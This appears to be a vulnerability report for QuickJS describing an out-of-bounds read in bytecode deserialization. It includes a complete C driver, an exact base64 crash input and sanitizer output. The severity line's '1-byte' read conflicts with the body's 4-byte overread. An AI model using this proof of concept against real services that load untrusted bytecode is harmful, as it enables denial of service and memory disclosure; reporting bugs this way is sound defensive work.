[Bug]Heap-buffer-overflow read in JS_ReadFunctionBytecode atom-fixup loop (get_u32 past the bytecode buffer) (CWE-125)
Describe the bug
JS_ReadObject deserializes a serialized JS function. It copies the attacker-declared byte_code_len bytes of bytecode into a heap-allocated JSFunctionBytecode, then walks the opcodes to rewrite atom operands. For atom-format opcodes (OP_FMT_atom) the loop reads a 4-byte atom index with get_u32(bc_buf + pos + 1) (cutils.h:181) without first checking that pos + 1 + 4 <= byte_code_len. A 4-byte body that is a single atom-reference opcode makes get_u32 read 4 bytes past the end of the 108-byte allocation.
To Reproduce
Clone QuickJS and check out the affected commit:
git clone https://github.com/bellard/quickjs.git cd quickjs git checkout 04be246001599f5995fa2f2d8c91a0f198d3f34cSave the driver below as
poc_driver.cand build with ASan:gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl -o poc_driverHow the input is interpreted: the first byte of the POC selects the
JS_ReadObjectflag combination (flags_tbl[first_byte % 6]); the remaining bytes are the serialized bytecode/object stream passed toJS_ReadObject.
/*
* poc_driver.c - minimal PoC driver for QuickJS JS_ReadObject
* deserialization bugs. Byte-for-byte mirrors the fuzz harness (harness.c):
* the first byte of the input selects the JS_ReadObject flag combination,
* the remaining bytes are the serialized bytecode/object stream.
*
* Build with AddressSanitizer against a QuickJS checkout:
* gcc -g -O1 -fsanitize=address -I. poc_driver.c quickjs.c libregexp.c \
* libunicode.c cutils.c dtoa.c quickjs-libc.c -lm -lpthread -ldl \
* -o poc_driver
* Run:
* ./poc_driver <poc.bin>
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include "quickjs.h"
#include "quickjs-libc.h"
#include "cutils.h" /* FALSE/TRUE */
static int nb_interrupts;
static int interrupt_handler(JSRuntime *rt, void *opaque)
{
nb_interrupts++;
return (nb_interrupts > 100); /* abort runaway scripts */
}
int main(int argc, char **argv)
{
FILE *f;
long sz;
uint8_t *buf;
JSRuntime *rt;
JSContext *ctx;
JSValue obj, val;
static const int flags_tbl[] = {
0, /* plain object */
JS_READ_OBJ_BYTECODE, /* bytecode function */
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA,/* rom-data aliasing */
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_SAB,
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_REFERENCE,
JS_READ_OBJ_BYTECODE | JS_READ_OBJ_ROM_DATA |
JS_READ_OBJ_SAB | JS_READ_OBJ_REFERENCE,
};
if (argc < 2)
return 1;
f = fopen(argv[1], "rb");
if (!f)
return 1;
fseek(f, 0, SEEK_END);
sz = ftell(f);
fseek(f, 0, SEEK_SET);
buf = malloc((size_t)sz);
if (fread(buf, 1, (size_t)sz, f) != (size_t)sz)
return 1;
fclose(f);
rt = JS_NewRuntime();
ctx = JS_NewContext(rt);
JS_SetMemoryLimit(rt, 0x4000000); /* 64 MB, same as fuzz harness */
JS_SetMaxStackSize(rt, 0x10000); /* 64 KB */
JS_SetInterruptHandler(rt, interrupt_handler, NULL);
/* First byte selects flags; the rest is the serialized stream. */
obj = JS_ReadObject(ctx, buf + 1, (size_t)sz - 1, flags_tbl[buf[0] % 6]);
if (JS_IsException(obj)) {
JS_FreeValue(ctx, JS_GetException(ctx));
return 0;
}
/* Execute the deserialized bytecode if it is a module/function. */
if (JS_VALUE_GET_TAG(obj) == JS_TAG_MODULE) {
if (JS_ResolveModule(ctx, obj) < 0) {
JS_FreeValue(ctx, obj);
JS_FreeValue(ctx, JS_GetException(ctx));
return 0;
}
js_module_set_import_meta(ctx, obj, FALSE, TRUE);
}
val = JS_EvalFunction(ctx, obj);
if (JS_IsException(val))
JS_FreeValue(ctx, JS_GetException(ctx));
else
JS_FreeValue(ctx, val);
return 0;
}Write the exact 21-byte POC. The base64 string below round-trips to the byte-identical crash input:
printf 'AQUADAAAAAAAAAABAAAABAAEAAQA' | base64 -d > poc.binRun it:
./poc_driver poc.binASan output:
==...==ERROR: AddressSanitizer: heap-buffer-overflow ... SUMMARY: AddressSanitizer: heap-buffer-overflow .../cutils.h:181 in get_u32Exit code 1.
Expected behavior
The atom-fixup loop should verify pos + 1 + 4 <= byte_code_len before calling get_u32, and reject bytecode whose operand reads exceed the declared length.
Screenshots
Please complete the following information:
- OS: Linux x86-64 (Ubuntu 22.04)
- QuickJS version: 2026-06-04 (commit
04be246001599f5995fa2f2d8c91a0f198d3f34c)
Additional context
- Deterministic: yes — the same 21-byte input always triggers the ASan report (verified 5/5 runs).
- Reachability: the public
JS_ReadObject(ctx, buf, len, JS_READ_OBJ_BYTECODE)API deserializes attacker-controlled bytecode;JS_EvalFunctionthen executes it. - Severity: medium (1-byte OOB read, DoS + info leak) (CWE-125).
- CWE: CWE-125.
Source: bellard/quickjs